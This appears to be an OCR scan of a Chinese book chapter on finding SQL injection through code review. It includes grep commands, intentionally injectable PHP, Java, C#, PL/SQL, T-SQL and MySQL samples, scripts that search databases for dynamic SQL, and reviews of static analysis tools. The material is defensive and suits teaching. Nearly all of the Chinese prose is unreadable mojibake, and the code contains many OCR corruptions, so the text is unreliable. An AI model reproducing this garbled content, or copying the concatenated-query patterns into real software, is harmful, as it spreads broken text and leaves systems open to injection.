RESS R ZR I B 2 PHP RIS 9 SQL HEARHJE, T RiLBRIVEEF W TR ZE AR 2
Java NP . HEBRER, & FRETASENHEHIE AWM. EE5 0T LERETAHR
BARRFE I HEHAES AR, B TRETERELEBRIHTE BREIEE LF).

2. BRI Java bR

ATLAER T 31 fr A S R R — A Java IRCHFEH R, FHREGFEEA T prepareStatement().
executeQuery(). executeUpdate(). addBatch()# executeBatch ()i 3C{¥:

$ grep -r -n "preparedStatement (\|executeQuery (\|executeUpdate
(\lexecute (\|addBatch (\ |executeBatch (" src/ | awk =-F : '{print "filename:
"$1"\nline: "$2"\nmatch:"5$3"\n\n"}"

PAT LR ar @ E G RN T BizR. ATURIEMIBER], SR T =TRER - PHED
(XN

filename: src/SQLVuln.java
line: 89

match: ResultSet rs = statement.executeQuery(sgl);

filename: src/SQLVuln.java
line: 139
match: statement.executeUpdate(sgl):;

filename: src/SQLVuln.java

line: 209

match: ResultSet rs = statement.executeQuery("SELECT field FROM
table WHERE field = " + request.getParameter ("input"));
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DR 89 ATAN 130 AFfEiE B, FRATAMIY sql FREE. B RETEIITIH
SQL iFH], Eﬁifﬁ*?ﬂﬁﬁi«%ﬁ%ﬁ%mﬁﬁ)ﬂ%jhk@ﬁﬁiﬁ‘]ﬁ%%@:‘%ﬁ%ﬁéo Fr bl BRI EYE
Wi BB TR IR, BATHERE sql 8. A AVEI 209 1TH SQL VA B P A
8y N M R . %A I R IEE T HTTP Web X #4842 1) input ZHHIME, AT PARZ B T iR G,
FeAiTAT LA B 209 47 5532 ¥ SQL VEANH, {BEEILAT)KH A 89 77H 139 17 SR EH T3
grep 4 LA HARES it B & SQL 4 Foks AP0 sql BREMLIE R

$ grep -i -r -n “sql =%\ ™\ (SELECT\ | UPDATE\ | INSERT\ | DROP\) " src/ | awk -F :

'{print "filename: "$1"\nline: ns2"\nmatch: "$3"\n\n"}'

filename: src/SQLVuln.java

line: 88
match: String sql = ("SELECT field FROM table WHERE field = " + request.
getParameter ("input")};

filename: src/SQLVuln.java

line: 138

match: String sqgl = (" INSERT INTO table VALUES field = {" + request.getParameter
("input") + ") WHERE field = " + request.get?arameter(“more—input") + ")

RATEBL 89 17 139 47 A SQL ¥ A1 AP bl A AT AR o B AP AR KB L
HTTP Web 3 H4272 1K) input S 8HME. RATIAE CSMERF) T AR E R MA, 7T L5
e REFEERE, I BRESSRAHERASF B CHIRHT T .

0 AR R 8 AR DMEA AR R RO AR R, AT R FAa

5 grep -r -n “getParameter(\IgetParameterValues(\|getQueryString(\|getHeader
(\getﬂeaders(\igetRequestedSessionId(\|getCookies(\|getValue("src/ | awk -F :

'‘{print "filename: "s$1"\nline: "$2"\nmatch: "$3"\n\n"}"'

HeE M & PHP A Java ARBS ) SQL yEARIAG, BUERMNTRHABANA R CHfe
JF A LA RBAT T (K AL RE

3. IRER CHP IR

AT LUE R S A 4 A i R — A CARSCAE R, FIREETFEMM T SqlCommand() -
SqlParameter() - OleDbCommand(). OleDbParameter()- OracleCommand(). OracleParameter().
OdbcCommand()F1 OdbcParameter()i¥) 3L

$ grep -r -n "SqlCommand(\ISqlParameter(\[OleDbCommand(\lOleDbParameter
(\OracleCommand(\IOracleParameter(\IOdbcCommand(\IOdbcParameter{"src/Iawk—F
'{print "filename: "S1"\nline: "$2"\nmatch: "$3"\n\n"}'

filename: src/SQLiMSSQLVuln.cs

line: 29

match: SglCommand command = new sglCommand ("SELECT * FROM table WHERE field =
'" 4 request.getParameter(“input") + w ot ",conn);

filename: src/SQLiOracleVuln.cs

line: 69

match: OracleCommand command = new OracleCommand({sgl,conn);
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WX 69 ITHEE— B H A, BAEAHIE sql BEME. BT REEEZEIITH SQL i
A, ERAIANIEZKIE R R B P RS ReE AR AR, LRI A TEEA
Wi R AR, IR sql R, AERATRIL 29 17/ SQL AR H A/ = I B A
R BRI RRIUEE HTTP Web R HRATM input ZHHE, FTUERE| B, &
fI1A] LA B 209 47 5552 3 SQL yEAN K, HEL AR FE 69 17. ZRMEA TFI grep dr & LA
RIS M HE BN A SQL WA IFH I ME sql BRMMIE .

$ grep -i -r -n "sqgl =.*\"\(SELECT\|UPDATE\|INSERT\|DROP\)" src/ | awk -F :

'"{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n\n"}'

filename: src/SQLiOracleVuln.cs

line: 68

match: String sgl = "SELECT * FRCM table WHERE field = '" + request.

getParameter ("input") + " ' ™

FAVRIN 68 47 11 SQL 1 F12 e I/ 2 i O S A\ P X R ) o T2 £) FF R BE UE I 3 HTTP Web
FEPIRAN input ZENME, 2B TG RANIAECERERT] TN FRA A, LA
WaF e REFFERT, JFERRSRAIERENRI R A CRiRN T .

N RAURNE A IR CME R BRI EREAE MBI E, AR Foa2:

$ grep -r -n "HttpCookieCollection\|From\ |Headers\|Params\|QueryString\|
ServerVariables\ |Url\ |UserAgent) |UserHostAddress\ |UserHostName"src/ | awk -F :

"{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n\n"}'

REFRATATREE B UAEN grep FHTH:, HEBRAVLE P NHr s TR N S H A B (9 6y %
TR R . NG RRAT R, AT REE TR £ S0P UL R B A AR,
it i BA AR BOAR X S BARTT B

3.24 €% PL/SQL #1 T-SQL K55

Oracle ] PL/SQL 0% 5 Microsoft ] T-SQL(Transact-SQL, 4% 4b3 Arif)if 5)I5 2 5
BR. RE¥WHR T, SILESERHRZIFSEIM PHP. NET., Java %¥)EAR %42, Oracle —
ELAE LM PL/SQL i ARG A AR, 3 Lo i A7 T 08 FE 7 S BRI 22 2 i A B 088 P B AR
M. PL/SQL AR5 LA definer AUPRAT, FFHI B BCHHE T RO FE 7 LR THUR I B i &
WATH B dixt . IER N, Oracle REARA— G S R EVFIFRA R F £ % 4 1)
PL/SQL fRXfi%(www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof plsql.pdf).
Ait, e FREERERE UL authid current_user 3Z1T, HAEWS LA authid definer 11T . BIEFFAELFE
it, o] L{#EH authid FHAFREIZRIT A .

Aifi# i T-SQL Al PL/SQL 3% (14w FARRD AN B A #7 BUAE % T4 ok Ut b By 8 O S0 A 3L A
d1, BT PL/SQL BFHISANES, ARiFh AR, —FRKFFEATINEER E 3 R, TTLMER
dbms metadata 49,3230 i% HA%7. a7 LA %1 SQL*Plus 4K DDL(Data Definition Language,
B s XAE )B4 M Oracle B384 3 13k, DDL 4] 58 s ch Hoii 4 (th )i SQL
E4). B, % WA DDL & Q]2 create table 5% alter table.
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-- Purpose: A PL/SQL script to export the DDL code for all database objects
-- Version: v 0.0.1

-- Works against: QOracle 9i, 10g and 1llg

-- Author: Alexander Kornbrust of Red-Database—Security GmbH

set echo off feed off pages 0 trims on term on trim on linesize 255 long 500000
head off

execute DBMS METADATA.SET_ TRANSFORN_ PARAM(DBMS METADATA.SESSION
TRANSFORM, ' STORAGE', false);

spool getallunwrapped.sgl

select 'spool ddl source unwrapped.txt' from dual;

-- create a SQL scripts containing all unwrapped objects

select ' select
dbms_metadata.get_dd(''’'||object_typell|''',"'"''||lobject_name|["''"', """ ||
ower||''') from dual;'

from(select*from all_objects where object_id not in( select o.obj# from sources& s,
obj$ o, user$ u weher ((lower(s.source) like '%function%wrapped%') or (lower
(s.source) kike '$proceduretwrapped%') or (lower({s.source) like
'$packagetwrapped$%'))and o.cbj#=s.s0j# and u.user#=o.owner#))

where object _type in ("FUNCTION', 'PROCEDURE', 'PACKAGE', 'TRIGGER') and owner in
("5Y5")

order by owner,object_type,cbject_name;

-- spool a spool cff into the spool file.

select 'spool off' from dual;

spool off

-- generate the DDL_source

@getallunwrapped.sql
quit

B TR INIERMER B 21 SQL EAIRIE R B T EGE R PL/SQL A, Oracle LA
ALL SOURCE Fl DBA_SOURCE #1 P 7Ff PL/SQL JE1RAG o thsh 23, AUAD 45 Ui 40 B (452
B &b B2 [obfuscation] & — Pk A BT LA B R () SCAFE B A 2 5 TR A S BEAR) . &) LGB D5 i)
P 2 — 1) TEXT FUSCBiZ B #. BERRERREMA [ execute immediate 3 dbms_sql
EH LS. Oracle B PL/SQL EX 2 A/NEHI, MNWiZ#iERAIEHEM EXECUTE. execute
8% ExEcUtE 4% . — BB lower(text) B, TR LA ER- N /NS FELUME
LIKE i f) BEVCAC BT AT (A B0 PR 2 o 1 SRK5 oK 448 BRAIE M) S0 A\ A% 330 48 0 2 R B (A8 B 1D A R )
RIGFRE SR BUBEE), AR AT RERIEAER SQL #EHA]. TLAER T4 SQL iEAIRIKEL
PL/SQL fRAG ¥ -
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SELECT owner AS Owner, name, type AS Type, text AS Source FROM
dba_ source WHERE ((LOWER(Scurce) LIKE '%immediate%') OR (LOWER{Source) LIKE

"$sbms_sql')) AND owner='PLSQL';

Owner Name Type - Source

PL3QL DSQL FROCDURE execute immediate (param);

Oowner Name Type Source

PLSQL EXAMPLE1 PROCEDURE execute immediate('select count(*)
from'| |param) inte i;

Owner Name Type Spource

PLSQL EXAMPLEZ2 PROCEDURE execute immediate('select count(*) from

all users where user_id'||param) into i;

HRERBEANSHERRAFE=LAFERE —LHENEC). X=KiBUHZR K, FA
MPEflf R RERIERE RS TR RE. BR25NHAFRANGLZEL, DBA EHEME
R SHEBE R ELNZE. TUUEHA F5 SQL FHE R LS HEE FI55h AR
9 SQL A 44F # th (1) PL/SQL X% Hk:

SELECT owner AS Owner, name AS Name, type AS Type, text AS Source FROM

dba_source where lower (Source) like '%:=%|[%"''%';

Owner Name Type Source

SYSMAN SP_ StoredProcedure Procedure sql := "SELECT field FROM table WHERE
field = "' || dinput ''"’';

b SQL EAIRE T — A H P BRI BER 1 A QI E SQL BRI E. RINALEX X
Bl H R, ATLMER TS SQL I FEWAMIELMER —PH AR AS:

SELECT text AS Source FROM dba_source WHERE name='SP STORED PROCEDURE' AND
owner="5YSMAN' order by line;

Source

1 CREATE OR REPLACE PROCEDURE SP_ StoredProcedure (input IN VARCHARZ) AS
2 sgl VARHARZ;

3 BEGIN

4 sgl := 'SELECT field FROM table WHERE field = ''' || input || '''';

5 EXECUTE IMMEDIATE sql;

& END;

e LABF 4, input AR B EHEOR B H SIS SQL 745 5 sql M. % SQL FRF &1k
M B A% T EXECUTE BEOFEIIT. BIER A RIEASEULERN, FRIFHEIIREE
WA 552 F| SQL HEARH .

Af LME I F 51 PL/SQL A9 2 503 H BT A ¥ PL/SQL 1R, LI E) 5 32 SQL A
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B, RNTEFAREHHSER, FAIXEHTH/MERTERE.

-- Purpose: A PL/SQL script to search the DB for potentially vulnerable
-- PL/SQL code

-- Version: v 0.0.1

== Works against: Oracle 9i, 10g and 1llg

-- Author: Alexander Kornbrust of Red-Database-Security GmbH

select distinct a.owner,a.name,b.authid,a.text SQLTEXT

from all_source a, all procedures b

where (

lower (text) like '%execute%immediate% (%] |%)%"

or lower(text) like '%dbms sql%'

or lower (text) like '%grant%to%'

or lower(text) like '"%alter%user%identified%by%'

or lower (text) like '%execute%immediate$''$| %'

or lower (text) like '%dbms_utility.exec_ddl statement%’

or lower(text) like '%dbms_ddl.create wrapped$%'

or lower (text) like '%dbms_hs_passthrough.execute.immediate%"'
or lower (text) like '%dbms_hs_passthrough.parse$'

or lower (text) like '%owa_util.bind variables%'

or lower (text) like '%owa util.listprint%'

or lower(text) like '%owa_util.tableprint%’

or lower (text) like '%dbms sys sgl.%'

or lower (text) like '%ltadm.execsqly’

or lower (text) like '%dbms_prvtagim.execute_stmt%'

or lower (text) like '%dbms_streams_rpc.execute_stmt%'

or lower (text) like '%dbms_agadm sys.execute stmt%'

or lower (text) like '%dbms_strea,s_adm_utl.execute_sql_string%'
or lower (text) like '%$initjvmaux.exec%’

or lower (text) like '%dbms_repcat_sql_utl.do_sgl%'

or lower (text) like '%dbms_aqadm_syscall.kwga3_gl_executestmt%'
)

and lower (a.text) not like '$% wrapped%'

and a.owner=b.owner

and a.name=b.ocbject name

and a.owner not in 'OLAPSYS','ORACLEMOCM‘,'CTXSYS','OUTLN',‘STSTEN','EXFSYS',
"MDSYS*', 'SYS', 'SYSMAN', 'WKSYS', "XDB', 'FLOWS_040000", 'FLOWS_030000", "FLOWS_
030100, 'FLOWS_020000", 'FLOWS_020100", 'FKIWS020000', 'FLOWS_010600", "FLOWS _
010500', '"FLOWS_010400")

order by 1,2,3

FAHST BT SQL Server 2008 Z AR 41 i) T-SQL F7 i it FEAMEACHS, WTLL{EFH sp_helptext

TFtEE . sp_helptext fAAEIS S SR T LT PRI ENEX. B 1THEET T-SQL
SE 3L 255 N FHF . %€ AL T sys.sql_modules H F¥LE K definition )9 . #n, W F
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%Il SQL E R E W — ML HEAE:

EXEC sp_helptext SP_StoredProcedure;

CREATE PROCEDURE SP StoredProcedure @input varchar (400) = NULL AS
DECLARE @sgl nvarchar (4000)

SELECT @sgl = 'SELECT field FROM table WHERE field = ''' + Rinput + '‘'"!
EXEC (@sql)

T EAB T, @input EREEKRAAF WAL SQL ZfF 8 (@sq)Hi%. i% SQL F4F
HIEASEALIRY T EXEC RESFHIAT. BMEH PBIARELNSHALEK, LR SQL Server
TR WRIE R 5 %3 SQL EAK T .

ATLAfEF sp_executesql #1 EXECOB £ #ir %KAM 3NZ SQL. EXECOM SQL 6.0 FFEA# —
BEMEH, sp_executesql WM SQL 7 A @& NitHK . sp_executesql & — A BEAEMILRE, Bl
ANTE X SHAERZ NP EXZE. B S8 @smt REFHISH, 88— &8—H#
SQL i&f]. 7E SQL 7 # SQL 2000 1, @stmt KI%EHEAR R ntext, 7E SQL 2005 M2 J5 ks 4
® & nvarcharMAX). 3 ¥ @params £F[ S . EXECOEW-—SH, ZSHE %K
TWATH SQL EH. ENUHFHRERMFHREREEmK. TEHE - MAT
sp_executesql 7 it 2 B 5 52 3| Wi M 76 L FE Bl -

EXEC sp_helptext SP_ StoredProcedure II;
CREATE PROCEDURE SP_StoredProcedure II (@input nvarchar (25))

AS
DECLARE @sgl nvarchar (255)
SET @sgl = 'SELECT field FROM table WHERE field = ''' + @input + '''’

EXEC sp executesgl @sgl
ATLUME R T 3] T-SQL -4 1 4 Bodf B o B A (1 F7 f i 2
SELECT name FROM dbo.sysobjects WHERE type='p' ORDER BY name asc

AT LU# A F 5 T-SQL B A R A 7T SQL Server B ERF H/ER, ZHAREHT
SQL Server 2008) L) Fr it 2, DIM{EH B S ST #7E SQL HEANBTHR) T-SQL /A, EEEFA
RERHER, FHAXESEBTH/MEETHE. '

-- Desripticn: A T-SQL script to search the DB for potentially wvulnerable
== T=35QL code
-- @text - search string '$text$'
-— @dbname - database name, by default all databases will be searched
ALTER PROCEDURE [dbo].[grep_sp]
@text wvarchar{250),
@dbname wvarchar(64) = null
A5 BEGIN
SET NOCOUNT ON;
if @dbname is null

begin
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—--enumerate all databases.
DECLARE #db CURSOR FOR Select Name from master...sysdatabases
declare @c_dbname varchar(64)
OFEN #db FETCH #do INTO @c_dbname
while @@FETCH_STATUS <> -1
begin
execute find text in_ sp @text, @c_dbname
FETCH #do INTO @c_dbname
end

else
begin
declare @sgl varchar(250)

--create the find like command

select @sgl = 'select ''' + RBdbname +''' as db, o.name,m.definition '
select @sgl = @sgl + ' from ' +@dbname+'.sys.sql modules m '
select @sgl = @sqgl + ' inner join '+@dbname+'...sysobjects o on

m.object_id=o.id’
select Rsgl = @sql + ' where [definition] like ''$'+@text+'%'"!'
execute (@sqgl)
end
END

IS, SERUE EMIERIZFEETE ! LM T X R R A XA AR

execute grep_sp 'sp_executesgl';

execute grep_sp 'EXEC';
al LA# H T %1 T-SQL #p4-%|H SQL Server 2008 (48 2=+ Fir g M E g 12
SELECT name FROM dbo.procedures ORDER BY name asc

A LAMEA T 51 T-SQL A8 &R T 2 T SQL Server 2008 Hii B ik 45 2%_E #FE At B HAT
Ep AN RERS P R AT RBIERNE). EFEFAREMHLSR, BHAXHFFET
G ERERGEHE.

DECLARE @name VARCHAR{50) -~ database name

DECLARE db_cursor CURSOR FOR

SELECT name FROM sys.procedures;

OPEN db_cursor

FETCH NEXT FROM db cursor INTO @name

WHILE QRFETCH_ STATUS=0

BEGIN
print @name
-- uncomment the line below to print the source
—- sp_helptext ''+ @name + ''
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FETCH NEXT FROM db_cursor INTO @name
END
CLOSE db_cursor
DEALLOCATE db_cursor

AT LLEE P4 MySQL & RIIE ASRIRENE KA M 8. 85—4- & SHOW PROCEDURE
STATUS, &M - RIIMFELRUR S ENHXEH L5 E(Db. Name. Type.
Definer. Modified. Created. Security type. Comment). X{E T-[Hif, HAIELX Fo64H
W BT T B

mysgl> SHOW procedure STATUS;

| victimDB | SP_StoredProcedure“I | PROCEDURE | root@localhost |DEFINER
| victimDB | SP_StoredProcedure_II | PROCEDURE | root@localhost |DEFINER
| victimDB | SP_StoredProcedure_III | PROCEDURE | root@localhost |DEFINER

B 44 & SHOW CREATE PROCEDURE sp_name, i%i& )% H 47 653 12 O JEACHS .

mysql > SHOW CREATE procedure SP_StoredProcedure I \G

*hkhkhkkArhkhkrmrd bk hkbhkhrhhkdkin 1' row Ahkrk xR A Ak hhkdAhkhkdhkhkhkrdrahkhohdhd
Procedure: SP_ StoredProcedure

sgl mode:

CREATE Procedure: CREATE DEFINER='root'@®'localhost'PROCEDURE SP_
StoredProcedure (input warchar (400))

BEGIN

SET @param = input;

SET @sgql = concat('SELECT field FROM table WHERE field=',@param);
PREPARE stmt FROM @sgl;

EXECUTE stmt;

DEALLOCATE PREPARE stmt;

End

4%, ] LU S A #) information_schema database 3R 3REX 55 T 5 4475 (stored routine)
HXAE R . 10, X T4 4 dbname H%H#EE, W LA INFORMATION SCHEMA.ROUTINES
x ENH T E#:

SELECT ROUTINE_TYPE, ROUTINE_NAME
FROM INFORMATION_SCHEMA.ROUTINES
WHERE RQUTINE SCHEMA='dbname';

33 AHEERND

ATV, HAT PR R E R — TR H i D0 T, XE RN H EASIE
HREHABTWHATE BN M. FERNES T WAUARER ) R TR IZES, U
B n AL 5 A P iy AT R LRORGE /N B A X TS B LA 4 R S mh i) . ARk, A0
REIERARZ i 1) LUE 7E 30 A G 4 2% SUE $5 (1) IDE #R 25 B VRACHD o B4 b K5 i R S 2R 1
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STTHR, HREBEEHRJRE A ABRBRKES. Fril, R IR 83e@a A
AT —FErm A AR\ EN LR), BAR—MREIFAHEHER? 2R, mREMIE,
BANZEIRE: B3 LRSAERLERE E(false positive)(5i iR € 17 T R RN E
AAERATRR, (B3R B %R I AFE) B R T E (false negative)(FE iR 15 8 &8 T R RS
FEFEANRF, BEhF LFEZRR). HREES P80 TAMMNMSEH HEERIBRZ 00
KIAFEER; HREENE FBELREAPE I, 1EAR L2t~ R .

FrAzx TAREFHENRERXZFRILERIIBA A(ZLEBURLE), LAt 2
WA . AT e RN HER 2R A RN TERDBIEE A SBER S BN RIS A
A. BET AN ERJLFDhAEERE]—FE, MTAES RS AR ™ AN 0] {5 R
frE A, X T AY, FUAHRFERMKRRIIATE T R K5, B EERFERML grep
BRI R AIE W RIA SOk e A fa i R Bt . HERFHLT, BN R HIMEER T o
SQL F-7F &t HE B AR BT o 1 S & 2 7F 58 UCAC TR 0 1 M At B 5 2508 0 o R B AT B
7. FRHBEANNERS SR REE, B S r8ULAL#) T B JEE X 4R b i R A
HIERBA SR, s, HLEeFNREA TGV AR 5 HFRE N sl iy AP . i,
23K mysql_query() A EUUT AL ALiB N\ i B 1IE W R U RT BERE T FIARSATFRid AR IL BCAT -

// validate your input if using mysgl query{}
$result = MyCustomFunctionToExec mysgl gquery(Ssgl);
Sresult = mysqgl query($sql);

HFERRZE R, AT RS 1 iaiE i (lexical analysis) k. WG ER AN HRE
FRIEEI FEARE R EAR) AR R 8, iz Bt — 2R S EaRt
RS P 5 (FR A Al FRic [lexical token] B bR ic[token])o 334k T X S 3E4T T kb 2 1 43
il Bt (tokenize) (MRS 1R A 1 5B —BATED), 2 )5 FARYE — N2 2 BUR R BUE RIULRCIX £45 35 .
AT A 4 AT BB A W AR g 1035 20 #T 28 (lexical analyzer). ZEAEAERAX 4> iR Hh B IFH
MERESE, @RS ELA] M.

HEFARID S T 85 (Eh B IDE 41247 () 7 2 18 FH 4 S 15 6 (Abstract Syntax
Tree, AST). AST & —FFR/RFELAREARIIEZL M. Al LAMER AST XUgfUh o R AT
B 44T UA#E B BRBEBE T HE B N s FVE N .

A5 YR ARG S BT B850 2 LI ) — RO ik ——E R A A . MRS T SRR P 5 3
FAER . EXEBXRTINELS. BRI HIRIEITE AST AR (Control
Flow Graph, CFG)Z L. aJUMEF CFG X FE /5 A oKfd i (4 2 Bo s nT A& 2 B A AUAS B
CFG {# H B AR IC KR /A TP PAT IE 12 o o) ki 2 BT A g 42

BEABEMERN, B TRERT ZFARRGI T BT 7R R MERITE ., #ER
A UCHEE M 5 B AST FI(ER)CFG BB F T, AEhAo i TRAMN ZeBREEHH, EaH
B IR B4 R TE 4 A U BR BB N AU I FE PR ASAT S, 8 I BR i R R e s B AR IR
(ANABFRIRFEAIRHESEANS . BERAIAEE B RBUXE TAPTF=ERNER. BRE
fIITER L X FERARM 7 Bl BiE RN IZH Ef LE TR0 IR A R Bk il
FE A AT A, XA GRS 45 & B AR R IR 4518 B R WA B .
BEMHH Az TR, £ 46— FHAMK T B4R AZE A NE RS HEAT Fh
HE . XFEEH IR ERINN MO ERIME RN ERE, &R A RAEHA
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ByFREIREE. TREEBRANEE. EHMEREAXETAR, BFEFT - ENLLaW
Bitk. Web MHIMREIE S RAREY . RIETRIES, THEACIWEIEMN A2, ML
BEE—DREMEN T, FERBMER. XL TAFREHERERREERRAELS, SINE
B RN RS, RMSERRE EER L.

3.3.1 YASCA

YASCA(Yet Another Source Code Analyzer)& /N FEFER, H T3 REFRAR D ZLR
AR R R B, FMRIEIESHE PHP. Java fl JavaScript(BRik). YASCA @i 5t T4
BHKAATT R, FHINBER T HALFFHEIME, ti FindBugs(http:/findbugs.sourceforge.net).
PMD(http://pmd.sourceforge.net)F! Jlint(http://artho.com/jlint). B] LAIE XL 4 5 ok 1) 2 4 e o b 26
THRAREAHZTAAMEMES. SR —FMHST TR, ##BLL HTML, CSV. XML &H{h
BAERMRE. BRUMRT, ET AN 1.1 BCEE S PHP. Java BLNET KL HHBESR
REY, TXLRBEIH SQL AR, QA {3 F # 7E 10 FE I 60 MR B8 . ISP STAFI0
HTTP HKFHRIAMAR, ZTAGEXT I TR, BRAMFAT, ©A4L RS PHP &
CHICAoh B 2K ) BB T 5 1o 1 2 A0 1R 20 R A0 ) Sl B B AN T et iz T B, 5 F —BRAR(1.2
RRYR & TR 2 it Ja M IE M RIE R F 45 2l Pixy(http:/pixybox.seclab.tuwien.ac.at/pixy). X4
TREREATR, BHARAREES IS, HAEZRER LAPSE(http:/suif stanford.edu/
~livshits/work/ lapse/index.html). MR ANAEEI A KA G, LGRS @ 52 S0 S 443k ik
TV R.

e URL: www.yasca.org.

o EE: WEMMEIEEHRS A CHEE M ENRILRL.

e “F4: Windows #! Linux.

e k. K.

3.3.2 Pixy

Pixy B—K %3 Java 27, TIHEB 3113 PHP 4 BT, H AR Ky Il BS ik B 4 (XSS)
A SQL HEAA. Pixy il 2 WIS R FERBUR BRI R, 2 /5 ERER N H M 50R W E 3
FIE—ANMER R . AR A B I AN 2R (i, AR T — AN EFRF). Pixy
B RE N 32 1R S 1) 25 it 22 il 4 #8518 (dependency graph), %% T BRI SR A 288, lit ik
#HiE, TTUMRAZREA A EMHE. B Pixy TR mysql db_query(). ociexecute()Fl
odbc_execOR ¥ H) SQL AR . AEAEE, RITTLBAS SRS A CHECE M.
Bign, T AMER T IREA s 301 & mysql_db_query() PR :

# mysql_db query SQL injection configuration file for user-defined sink

sinkType = sgl

mysql_.db_query =0

B A PHP S H A SQL AR, FINA Pixy 2 HREEGFHKN TR, AdHNE
R3 ¥ PHP 4,

o URL: http://pixybox.seclab.tuwien.ac.at/pixy.

o HH: PHP(RATXRRA 4).

e F£: Windows fll Linux.
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o Hk&: %k,
3.3.3 AppCodeScan

AppCodeScan £ — 3 H THM L FFABRRKFE(ER SQL B KT A . S8 IE Rk
VLECF 45 e AR B TR M fE 16 bR BORARRS R M 45 8, RIS T REME M. % TAKE
ERBRNAAERRE, E4EHSSBURR UK RN, SaEMLGRR . #5EaT LUE
AppCodeScan RIFF N KA O & A —AIBHH: ERRE LD S E. % T LEITENET
HERT, BEADREN, T T BN beta BrEt. * T 25REH GUIERH & A E
WTHAT TN PR, ZTREMENEE. REXHMRSHEHIBHE, FE
R BNET A% h# 76 ¥ SQL ¥ A\ Jif if 1 FH B BR A E M FR A R s

#Scanning for SQL injections
.*.SqlCommand.*?l.*.DbCommand.*?l.*.OleDbCommand.*?l.*.Squtility.*?l
. *.0dbcCommand.*?|.*.0leDbDataAdapter.*?|.* . SqglDataScurce.*?

ZAE% PHP B Java 'S —NE 5 M ENFEERX, HFHEE I OracleCommand() i —
PRV In— e A I PR B EPRT . AT LAk PHP RGBT 53 M .

# PHP SQL injection Rules file for AppCodeScan

# Scanning for SQL injections
.'.mssql_query.*?].*.mysql_query.*?l.*.mysql_db_query.*?r.*.oci_parse.*?l
-¥.ora_parse.*?|.*.mssql_bind.*?|.*.mssql_execute.*?|.*.odbc_prepare.*7?|
-*.odbc_execute.*?|.*.odbc_execute.*?|.*.odbc_exec.*?

URL: www.blueinfy.com/.

EE: THAMEMEBE SRS 3 CHRE SR IENRER.
E£: Windows.

rig: &N,

3.34 LAPSE

Wit LAPSE MI¥ X R BV P 4 & Java J2EE NI T3k Web N A% MW
. LAPSE & %A7¥AT ) Eclipse FF & F & (www.eclipse.org) #—MEft:, ‘& B8 10 51 57 B YL i
WABA R, AL ERB A S 2 H ()8 42. LAPSE [ T35 Web NARKIR: S5
P KRG, cookie T B (poisoning). fr 4TS %, SQL 7 A XSS, HTTP 4)F fl % 7238 [T (path
traversal)o LAPSE A] /& [¥ &%), Bo# 3 (sources.xml il sinks.xml)5 ik 23 7F —#2, Al
GRE AL B SUARY RIE R N R iR .

e URL: http:/suif.stanford.edu/~livshits/work/lapse/index.html.

e {AF: JavaI2EE.

e -“Ff: Windows. Linux A1 OS X.

o frig: %k,

3.3.5 SWAAT

A] LU#EH] SWAAT(Security Compass Web Application Analysis Tool)33 4418 £ JE/CHSIRIR,
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KPS SQL A SWAAT {# FH 1E M 2212 2 7 7 He UL B K 1R 51 ¥ 7 (4 75 B 08 BOR ARG o f) <%
FEHR, R IEHRAE T 1R 2 xml A& A FIRCE SCHF. 7T LOK B 52 XA IE N RA I8 R I 24E ]
— A xml LA X T RALEHEH RN HFERRR, E4AEHS BRI RS. 5
B A SQL =N, EREILLRS].

e URL: www,securitycompass.com/inner_swaat.shtml.

e iET: PHP. JSP Al ASP.NET.

e “F&: OS X(mono). Windows Fl Linux(mono).

L ]

Hrg: "%,
3.3.6 Microsoft SQL ;¥ NSRS 9 #7828

Microsoft SQL iE A/ T8 2 — k@S RM AT TR, M TR ASP A/ SQL
HEANRR. % TR XMES I ASP RS IENET 8. 4, % T A RaemE VBSecript
G5 HIAE GE ) ASP ARED, 1] JoE 4 AT 4 A B 2LAR I & (B4 JavaScript)4n S ) IR 45 58 405

e URL: http://support.microsoft.com’kb/954476.

e iHE: 1845 ASP(VBScript).

e “F&: Windows.
L ]

Hrig: %,
3.3.7 CAT.NET
CAT.NET(Microsoft .NET XF443#7 T H) R —ak —#EHUREDAMT TR, T H F B LR

CAT.NET # Visual Studio IDE )k A\ 20E # 8 7T (snap-in), B Bh 536 & A (C#. Visual
Basic NET. JH)MRIHFHIZEtM. EELAHNAR SEHSCEmE)EFSE, REEa.
J7 i KR P G A A HOHR Mk SR L BoR Th Ak . A ot #2 R 4 60 95 3% U 4 TR 1 (property
assignment) F17~ 5 /& 4% (instance tainting)# 45 ft)—Le [B) B K/,

e URL: www.microsoft.com/downloads/details.aspx?Familyld=0178¢2ef-9da8-445e-9348-c9324cc
9f9d&displaylang=en.
% E: C#. Visual Basic NET, J#.
F4&: Windows.
IDE: Visual Studio.
Pri&: .

338 MIRRBEETIR

B B IR RS 23 47 88 (Commercial Source Code Analyzer, SCA)FII B &K 541142 R 3 R
FIRIIF A e AR . b ARAS L7 Bh R T R N\ B MR B 8 F ARG e i, #8 BhABAT)
PR EEZ AR, A HAR, SCA R4t T 5HMEEIR(E T R LAWK
PWAIFDIR, A FFRA AR T TRMETTLE MG R A 5 MM S mIDCRK. ST RS
DU R EE, MARREREE T KEMAE. AU ARHEFELEIT M. BEX XL
BT WA ERI LB JER WA 325Uk, BEARRIME B &P 5 B 7 i8R 2 B
AT HIHIESH, BAIASERRA ARG EME !
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AFFEHARHAEE, TEMAHRILRLEREN TREN, FEEETRESTE
XM, REBFEEF SRS RIMERMRTTR, XET7REANER T LI A4
RE(COTS)H % 2 FF IR KA (FOSSIRANES 7 88 St TREM . W T ARBHES, ZREFHRK
BEFEAR N AT VERI P o GERIIR TS BB GRIESAR T LA RORBIHH BRTT R B BRI . 3%
B B ARUERR P L IR SRR A BORI TR (fuzz testing) PRI EEAR . SUERMHIFT
RITFR . MBS R R R NE RO R®Im, AR RIRIEE D R,
AL COTS KA AT RHERMZ2RIETH. BEHERENZA, LAHATH 0 PP L
RUEEATREAE R . BNEERARTEEZH0, & HCHITEm™ M. A REESHT
B, ATRASEAEA Rt AR RR(AT M2 R Web 36 BT 8)80E S EARKR.

HEFIE

FEIEERMIR

# SCA BABFAAFARTHARL A FERLGE ARG, AT LNER
PR R ELELRRGAH oMY S RERFAETEEE, IHALEF LA FA
ARFRES, ABAFELSEAELT R LR E G B IFm 2@, A4 F
HERBeHR. 5EEFAAMN, FEAAR LRS54 F X RITK A %0048 > 4 rbdzit
AERGEREFH 4o, 42 T8 5] SCA #FietyRAD), MmiXAHFRFHRA T 7RG
FE R kAR 69 R

